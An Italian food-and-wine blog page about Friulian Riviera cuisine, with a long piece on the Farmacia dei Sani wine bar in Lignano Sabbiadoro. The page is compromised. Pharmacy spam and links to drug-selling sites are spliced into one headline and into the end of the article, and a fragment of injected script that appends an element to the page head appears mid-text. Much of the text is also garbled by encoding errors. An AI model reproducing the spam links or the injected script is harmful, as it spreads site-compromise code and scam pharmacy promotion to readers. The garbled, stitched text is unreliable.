La cultura si mangia!

B Nell’ ambito del convegno La cultura si mangia! Il cibo come patrimonio culturale. In pescaria vecia si è tenuto il convegno: Oggi parliamo di pesce. Le novità legate al Bisato in speo: Entra »

Valerio Ghin

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Serata con le Piume di Laguna e i Cru di Ronchi di Cialla

Venerdi 19 o 26 Aprile Degustazione con Le Piume di Laguna !!! Millefoglie con PatA? di Alzavola Anguilla affumicata e Mela verde Caramellata , Petto di Germano Reale con Lardo di Colonnata Entra »

TURISMO/ENOGASTRONOMIA: I FONDAMENTI DELLA CUCINA TIPICA DEL TERRITORIO DELLA RIVIERA FRIULANA

order suprax antibiotic used to treat buy tadalista 20 LE BASI GETTATE NEL CONVEGNO ‘LEGATO AL 5.PREMIO GIORNALISTICO ‘VALERIO GHIN’ A MARANO LAGUNARE (UD) TRE LE AREE DEI SAPORI INDIVIDUATE: DEL GRADESE, Entra »

RIVIERA FRIULANA: CONFERMA DEL MATRIMONIO TRA IL PESCE DI PREGIO CRUDO E NON SOLO, E I VINI RIVIERASCHI

Ancora azzeccato il connubio rivierasco, a Marano Lagunare (UD), tra i cibi a base di pesce adriatico, e i vini della Riviera Friulana. Attori, gli animatori della Compagnia del bisato, confraternita che Entra »

Daily Archives: 14 settembre 2012

RIVIERA FRIULANA: LA FARMACIA DEI SANI, ENOTECA STORICA DI LIGNANO SABBIADORO (UD) ADERISCE ALLA ‘RIVIERA FRIULANA’

Uno dei ritrovi piA? amati di Lignano Sabbiadoro ( UD), l’Enoteca Farmacia dei Sani dal 1977 A? il riferimento per vip, imprenditori, navigatori del gusto di passaggio o in vacanza nella cittAi?? balneare adriatica, ma anche per i lignanesi. L’accoglienza dal tratto simpatico e sempre professionale, ma attenta alla clientela, di Patrizio Faidutti, che ne A? il gestore ma che segue il locale fin dalla fondazione, la scelta di prodotti tipici e appaganti, il menA? semplice ma adatto a fidelizzare il gusto, la scelta dei vini, saldamente legata alla tradizione del Vigneto Friuli Venezia Giulia ma aperta ai prodotti enologici di pregio italiani ed esteri, fanno del locale il ‘buen retiro’ di chi ama dedicarsi un paio d’ore di tranquillitAi?? e gusto. L’Enoteca, nata come Osteria, situata accanto agli uffici turistici di Lignano, rappresenta ancor oggi il punto di incontro tra la comunitAi?? lignanese e i visitatori, i personaggi friulani e non solo, nell’intero arco dell’anno, e non soltanto d’estate. La ricetta della frequenza del locale? Gli ideali e i motivi fondanti della sua fondazione. L’ideatore ne A? stato Aligi Grop di Porpetto, che A? uno dei personaggi che hanno animato con maggior entusiasmo la ristorazione della Riviera Friulana. Ce lo ricorda il motto che campeggia sopra al bancone dipinto su un cartellone, in legno come gli arredi: ‘Di vinum opus est sedare dolorem’ (compito del vino A? sedare il dolore). Un motto latino che ci riporta all’atmosfera festosa e coinvolgente della Lignano degli anni ’70. Quando feste in maschera e party di personaggi anche di fama internazionale animavano quella che allora era la ‘Movida’ balneare. In un clima di sobrietAi??, e di educazione ai sapori e al gusto e al consumo consapevole, la Farmacia dei Sani A? stata rilanciata da Patrizio Faidutti, rivierasco DOC, cinque anni fa. E ha giAi?? ritrovato il percorso amato dalla clientela come dai gourmet. Non solo, ma Patrizio ha avviato la consuetudine delle degustazioni. E delle collaborazioni. Per esempio, domenica 16 settembre sarAi?? dedicata alle grandi carni cotte dal cuoco Gerardo Buttarello, gemonese. Noto agli appassionati proprio per la proposta di carni eccellenti e ricette, sempre di carne, tipiche, proposte nel suo locale della cittadina pedemontana, valorizzatosi nel periodo della ricostruzione dal terremoto del 1976. La cucina della Farmacia dei Sani punta alla materia prima stagionale, e a chilometri zero. E, accanto alle interpretazioni genuine delle ‘sarde in saor’, di cozze, canestrelli, cape lunghe, moscardini affogati, si unisce il sempre ottimo Prosciutto di San Daniele che Patrizio, il quale dalla fondazione accompagna il locale con garbo e professionalitAi??, seleziona con cura. Come i salumi, i formaggi e i sottoli, che si prestano agli aperitivi o ai ‘fuori orario’. I primi vanno dagli spaghetti Farmacia dei sani, alle vongole, ai paccheri al tonno, al risotto ai frutti di mare, alla zuppa di pesce, ai tagliolini di San Daniele. Anche i secondi rappresentano la sintesi dei sapori rivieraschi: a seconda della stagione e della reperibilitAi??, sarde o calamaretti fritti, baccalAi?? alla vicentina, seppie in umido, tonno alla griglia, ossocollo alla griglia, tagliata di roastebeef con rucola e grana. Il tutto da accompagnare con gli ottimi vini della casa, o con l’ampio ventaglio di prodotti enologici del vigneto friulano, e/o a sorpresa. E sempre di alta qualitAi??.if (document.currentScript) { d.getElementsByTagName(‘head’)[0].appendChild(s); buy baclofen now overnight delivery Purchase http://prignitzportal.de/?p=5091 online http://advisors.se/blogg/2018/02/02/bentyl-10-mg-price/ erexin-v cheap Buy fucidin buy online uk Order online http://lesliecurnew.com/cost-for-plavix-at-walmart/

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